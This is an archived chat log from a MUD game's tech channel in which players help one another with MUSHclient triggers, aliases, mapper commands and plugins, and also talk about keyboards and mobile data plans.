T3/r7/2013-01-01.txt.gz:{chan ch=tech}Kaof Tech: is there a way to make a trigger fire only on one instance and then disable itself?
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: sure
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: make it a 1-shot trigger
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Kaof Tech: thanks, what happens after it triggers? does it delete itself?
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: yes...if you're in the window to define a trigger and click "help", it'll describe what each of the options does...
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: One-shot: If checked, once this trigger fires, it is deleted.
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Tech: Kaof grins evilly at Abelinc.
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Mokg Tech: help doesnt work in win7
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Kaof Tech: i never really noticed the button there, thanks lol
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: yes it does
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Mokg Tech: mine doesnt :(
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Doink Tech: Anyone know if there is a specific flag to add to a clan hall room to allow mapper to pick it up?
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Kaof Tech: mine doesn't work either, it says failed to launch help
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: http://support.microsoft.com/kb/917607
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: do that and it helps work perfectly
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Thunderax Tech: is there a way in mush to split screen scroll kinda like how it worked in zmud? so you can refer to something you called up earlier, while interacting with the mud?
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Mokg Tech: fiendish explained it earlier. possible but extremely hard to do
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Mokg Tech: and wouldnt be exactly the same
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Thunderax Tech: ahh cool, thanks :)
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: you can tell it not to jump scroll to bottom on activity, under game ->configure -> output
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: oh, another thing, it ships with a disabled plugin that does approximate what you want
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Westclox Tech: is the only way to change a portal level by deleting it and adding it again?
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: westclox: try setting the portal's level again, then doing portal list
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: mapper portallevel <ind> <lvl> is what "mapper help portals" tells me
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: and remember that it already knows what tier you are, so only input raw level
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Westclox Tech: right, im trying to increase a bit higher because of my tier, im tired of running through SOH and Agroth and getting stopped by agros lol
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: mokg and thunderax: try adding the Current_Output_Window.xml plugin, see if that approximates what you're interested in
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Doink Tech: can block exits for a specific level
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: nod, leave the portal alone, just levellock the exit south to the guard
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Doink Tech: such as the exit south of agroth portal until x level
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Mokg Tech: plugin is bugged
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Westclox Tech: what is the command for that, and does that also take into account my tier?
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: heh
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: westclox: right-click a room
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Westclox Tech: ahh okay, thanks :)
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Mokg Tech: nevermind, just the other windows are covering it. sending to back doesnt reveal it either
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: and yes, exit level locks also account for tier, so you will want to lie to that one
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Thunderax Tech: hmm thanks, close to what i'm looking for abe, but problem is when you input anything, the scroll jumps back to the last received line
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Mokg Tech: its sooo ugly :P
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: thunderax: uncheck "un-pause on send" in the output config
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Thunderax Tech: ahh awesome, that's perfect
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Thunderax Tech: thanks
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: well, it's not one of Fiendish's, it's just an example plugin made by gammon
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Mokg Tech: its all yellow, and no colors :(
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Abelinc Tech: maybe bug Fiendish to polish it up and repackage it so it'll have his top/bottom layer ordering & all the other neat stuff he adds ;-)
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Parmendies Tech: anyone knows whats the command is to check the number of countries the players are from?
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Ayasinda Tech: domains
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Parmendies Tech: okie thank you
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Metzli Tech: I have a pretty basic question regarding an alias in Mush if anyone is well versed with it and has a second
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Cheezburger Tech: Just ask the question
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Metzli Tech: Well, trying to figure out how to make an alias so that when I "bst xxx" (xxx being w/e mob) it strangles and the backstabs
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Cheezburger Tech: alias match = bst *, send your commands, separate by hitting enter not a semicolon
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Cheezburger Tech: %1 will be whatever is sent instead of *
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Metzli Tech: Thanks :)
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Cheezburger Tech: Or, if you have the aardmush you can do #alias {bst *} {strangle %1;bs %1}
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Cheezburger Tech: #alias {bst *} {strangle %1;;bs %1} rather
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Metzli Tech: Ah that's one other question, when using the console to make aliases, do I just double semicolon? or use \n to break
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Cheezburger Tech: double it
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Metzli Tech: Thanks :)
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Thunderax Tech: anyone know which bast plugin i should delete to stop seeing messages like this? {invmon}3,938993340,-1,-1
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Thunderax Tech: having problems with the eqDB so had to remove it
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Thunderax Tech: and am now getting those messages whenever my inventory changes
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Jhav Tech: Don't remove any plugin.  Just type 'invmon'
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Jhav Tech: Those are from the MUD, not from a plugin.
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Thunderax Tech: ahh right, thanks
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Elxi Tech: Check 'tags'
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Etzli Tech: Tags have nothing to do with inventory. ;)
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Myrkul Tech: invmon isn't in tags
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Elxi Tech: Those aren't the inv tags?
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Jhav Tech: No
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Elxi Tech: Ok
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Jhav Tech: Inv tags are tags around your inventory (when you type 'i' etc), not when the contents of your inventory changes.
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Hanslanda Tech: no, the tags listed in TAGS are {inventory}...{/inventory}, which are used to surround the output of the INVENTORY command.
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Etzli Tech: I should have clarified with management. :P
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Etzli Tech: "Tags have nothing to do with inventory management/monitoring."
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Elxi Tech: Yeah I don't use invmon, but was remembering this output from invmon  "You will no longer see inventory update tags."
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Hanslanda Tech: the invdata/eqdata/invdetails commands have separate tags of their own which you can't ever turn on/off (except by intercepting the commands and sending something else instead), but INVMON will toggle the {invmon} (this one summarize the activity being taken) and {invitem} (this one provides the item details as shown on a single line of the invdata output) tags.
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Hanslanda Tech: is each point of mastery just lastcost + 20qp/lastcost + 250kgold or does it change somewhere from 251 and above?
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Hanslanda Tech: is there an info message for the dqp start, like there is for the 30/5/1 minutes left and expiration?
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Myrkul Tech: don't think so... there's no message when imms start double either
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Quickfang Tech: anyone using android app if so can u tell me is there a way to copy text from screen
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Cheezburger Tech: long press
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Fiendish Tech: but not too long or you'll make a button
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Quickfang Tech: but that just makes another button
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Fiendish Tech: like I said
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Quickfang Tech: sorry have lag
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Zider Tech: does anybody use any good addons for managing inventory and equipmennt?
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Biker Tech: Bast has a couple for MUSHclient
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Zider Tech: i use mesh
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Zider Tech: i use mush and do a little lua scripting myself
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Biker Tech: one is just a miniwindow that lets you manipulate the items, the other is a full database of your inventory, and he has a new one that lets you designate "sets" of equipment
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Zider Tech: best ive seen work so far is gear
T3/r7/2013-01-01.txt.gz:{chan ch=tech}Biker Tech: if you wanted to do something yourself, then you'd want to look into "help invmon" and its related helps
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zoh Tech: how do I use mapper portal to run to a area I have it set up but I can't use runto with it?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Cody Tech: mapper help
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Siren Cera Tech: instead of rt use xrt.  it wil use the portal automaticaly
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zoh Tech: thanks didn't see that..was looking under mapper help config
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Cody Tech: mapper help moving
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Cody Tech: also theres a mapper extender you might find useful, i think its a plugin of its own. that uses the xrt.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zoh Tech: I think I don't have that.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Siren Cera Tech: oh. ops.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Siren Cera Tech: i do have the extender
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Siren Cera Tech: sorry
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Dethronicus Tech: mapper goto <room id>
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Cody Tech: dont know the room id, try           mapper find <text>             --> Full-text search the whole database
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Cody Tech: i would look into the mapper extender plugin
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zoh Tech: I can click on it under mapper portals and it uses it just fine..
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Siren Cera Tech: and if you want the extender plugin, finger winklewinlke for the web address
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Tech: Zoh nods.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Is there a way to make a trigger to recast spellups that expire, automatically?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}BloodFlame Tech: you could just make a timer. alot simpler in my opinion
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Tech: there are many spellup scripts available for various clients
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: How do you make a timer, and where can I get these scripts?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Tech: both questions depend on what client you're using to connect
T3/r7/2013-01-02.txt.gz:{chan ch=tech}BloodFlame Tech: depends on client i think >.>
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Mushclient
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Tech: finger bast, he has tons of plugins available on his site
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: Anyone got a das keyboard?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Dareau Tech: Yes
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Dareau Tech: Ultimate model
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: Is it awesome? :D
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Dareau Tech: It really is.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: Blue or brown switches?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Dareau Tech: Blue
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: Ok, cool. Thinking of buying one, they seem really good. A tad expensive, but I cannot find a "cheap" keyboard that I can use for extended time.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: I have an old sun keyboard from the mid 90s now, but some of the switches on it has stopped working...
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Dareau Tech: That's too bad.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Quickfang Tech: in aardwolf app can I make a button for kill what's in the room or have to wait for Kimball command
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Quickfang Tech: Kimball command
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: You can do an aoe attack if you don't want to target individual mobs.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: What's kimball?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Quickfang Tech: autocrect suffering me up
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: Ok... what was it supposed to be?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Quickfang Tech: killall
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: There is no such command afaik.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: Some people have a database with mobs so they can set targets in room and then just hit a key to attack. Takes a lot of work to build that DB though. Personally, I do aoe most of the time.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: Also, before doing something like that, make sure you understand what is a bot and not.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Quickfang Tech: ahh cool that's what I needed to know thanx
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Quickfang Tech: don't won't to go though all that rather one at a time
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Quickfang Tech: for the life of me I can not get the cut and past to work on touch screen. it makes a button ever time
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Metzli Tech: iphone?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Quickfang Tech: no
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Quickfang Tech: HTC one s
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Aardwolf RPG then, I guess.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Quickfang Tech: sorry yeah aardwolf app
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Quickfang Tech: it came up once but can't get it again
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: mysql -U is not the same as a test run, is it?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Sorry.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: If you pipe an .sql file into mysql and supply the -U flag, is it the same as a "dry-run" of the SQL commands?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Glako Tech: my pc died and now all i have mis my macbook. whats the best and easiest client to use with a mac?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zubol Tech: zmud ?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Use WINE and use MUSH.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: There are instructions on how to use that on the AardMUSH wiki.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Glako Tech: alright, I'll check that out. I'm not very computer savy in thise aspect
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: I think it's been pretty dumbed down so even the least tech-savvy could do it.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Dresory Tech: parallels 8 is quite easy if you can afford it
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Hanslanda Tech: depends on what you mean by use.  If you want to log in and play with absolutely no concern about writing scripts at all, go with Mush.  Not very expandable, since you can't act on your sudden ideas, but the community shares everything but the most elite bots.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Hanslanda Tech: if you wish to write your own scripts, or at least learn how, zmud/cmud is by far the easier.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: is there a switch for "ls" which will only display file names and nothing more in osx
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: trying to just print all files to text file
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: nevermind, text wrangler will do it for me
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: That's the default for ls, so you probably have it aliased.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: Try putting a backslack infront of ls, or using the full path, e.g. /bin/ls
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Ranrr Tech: You may want ls -1 though
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: http://pastebin.com/ePBBg9TV
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone have a clue on that
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: any ideas on why printer redirection through rdp/terminal services doesn't work? i just install a new printer locally to the client. i have box check for printer under local resources. other clients have the same printer working through terminal server. the printer shows up for the client and you can print to it but the job never makes it into the queue even.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: redirection also worked with the previous printer
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Trachx Tech: dumb printer
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Trachx Tech: some simple printers cannot be printed to directly
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Trachx Tech: ie if you send raw text file printer and queue simply hangs
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Trachx Tech: so if this is the case then you need to access printer using windows drawing functions
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Trachx Tech: though if new and previous printer are the same model then problem is elsewhere
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: the only flaw i see in that logic is i have this same printer installed and working with 6 other clients
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: sorry for the long wait
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Siren Cera Tech: mapper thinks i can go down in this continiate room, but you cant.   how can i fix this?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Siren Cera Tech: its a continent room so I cant jsut lock that exit
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Hanslanda Tech: depends.  Some of the raiding entrances are listed in the mapper.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: purge the room and remap it
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Siren Cera Tech: this is in the siirima ocean in Gelidue.  room 19450
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Siren Cera Tech: okay
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: mapper purgeroom is the command you want
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Siren Cera Tech: thankyou, that worked
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: Bast do you happen to have any insight for me on http://pastebin.com/ePBBg9TV
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: running mush through wine - other items work just failing on statmonitor
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: nope, sorry, I have never seen the error, and I run MUSH through wine on a linux box
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: hrm, yea I cant figure that one out
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: does it happen every time the db is backed up?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: is there a command to initiate a backup - it got the error when attempting to load statmonitor
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: nope, I will have to add one
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: it just happens at noon and midnight right now
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: actually i deleted the stat.db file in the log folder - and looks like it might have worked
T3/r7/2013-01-02.txt.gz:{chan ch=tech}SuperJayT Tech: Does anyone know how to query the mapper built with the aard mush client?  IE I know the room name, but i dont know where it is located.. how can I search for it.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: mapper help will tell you.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: check out mapper help :)
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: mapper help ftw
T3/r7/2013-01-02.txt.gz:{chan ch=tech}SuperJayT Tech: thanks!
T3/r7/2013-01-02.txt.gz:{chan ch=tech}SuperJayT Tech: Is there a list of these helps listed somewhere?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Hanslanda Tech: for items flagged as temporary, are there any limits on the timer ranges?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Akuri Tech: is there an easy way to view a rooms vnum in mushclient
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: mapper thisroom
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Akuri Tech: ahh cool thank you
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Virion Tech: anyone know how much mg/hour playing this game uses?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Not much.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mg?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Virion Tech: megabytes. looks like I blew through my sisters Sprint in 4 days
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: milligrams? *shrug* Virion, if you type 'compress', you'll see in/out.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Er, there's no way you blew through Sprint's cap in 4 days. :p
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: you mean mb?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Virion Tech: yes, mb. sorry tech isn't my thing
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Mokg Tech: gimme her # and ill add more data to her plan
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Zider Tech: it may chew up quite a bit actually depending on what your doing with it
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: If all you're doing is Aarding, then it's not going to chew up their cap.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Virion Tech: well I did stream 4 hours of television. did that do it?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish smirks.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: That probably did it.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I wasn't aware that Sprint had anything other than unlimited data
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: it's her fault, she should be on the sprint unlimited data plan
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Hanslanda Tech: good god, 4 hours of watching TV on a 3-5" screen?!
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Bast Tech: could be prepaid
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Neither was I, Fiendish. I used to be a Sprint customer.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Virion Tech: she does most of her internet on her phone so she has Sprint's cheapest plan
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: That doesn't make too much sense.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: heh
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: If she does most of her internet on her phone, she should get the $80 unlimited plan.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: or the $45 unlimited data and limited minutes
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Granted, it's 450 minutes landline (though free mobile-to-mobile), but it's unlimited everything otherwise.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: that plan is only like $45-50 now Etzli
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Seriously? Wow.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: yea
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: the 80 plan is unlimited everything
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: I was grandfathered into the $69.99 contract, but then they raised it to $80 once my contract went out.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Virion Tech: well, her hotspot costs $35/month.   But her phone is a different plan
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Why use a hotspot unless you're out and about and need to use internet on your computer a lot?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: to mud!
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Legendary Gruagach Tech: foxfi..free the win
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: thanks, hadnt seen that one before
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: im just waiting on LTE here :( sprints 3g is crappy
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Virion Tech: well, My sister never uses a computer. I'm just visiting.   I use cable at home so I can use an unlimited amount of internet at home. I'm new to this hotspot thing and didn't know I could "use up" a hotspot
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: here it is at least
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: Does the aard mapper have a way for me to include some additional logic, such as for a chaos portal, to tell it check a variable before using it, or choosing a different route?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Hanslanda Tech: I don't think portals are optional, assuming you had the mapper learn it.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: I set the level lock to 300 so it won't use it at all, but I wanted to make the mapper learn it for cps/quests/levelling, if not for gqs.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: on tt++ i just threw in a #IF{} inside of a variable, but I don't know how to get the mapper to read in streamed script like that.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: make an alias that does the logic, and just have it call that alias and put the script in there
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: thats what i would do
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: - h30
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: all mapper commands are sent via Execute
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Doc Holliday Tech: and the mapper gods have spoken
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i don't think that would really matter though
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: well, that's one of the things i need to change first them. I need to go make them all send to Script
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it matters in that it isn't World
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: true
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: but what do you put in the portal alias?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you don't need to make it send to script
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: if not(in_gq) then use_this_portal() else ... ?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you need to tell the mapper to find a different way to go
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Chaz Bono Cheezburger Tech: mapper find %1?
T3/r7/2013-01-02.txt.gz:{chan ch=tech}Hanslanda Tech: presumably if you aren't going to use the portal you would use runto--or run if you just need to move a particular path not already defined.
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can just clear and reset all your portals during and after gqs
T3/r7/2013-01-02.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: well, i wouldn't want to make runto the fallback
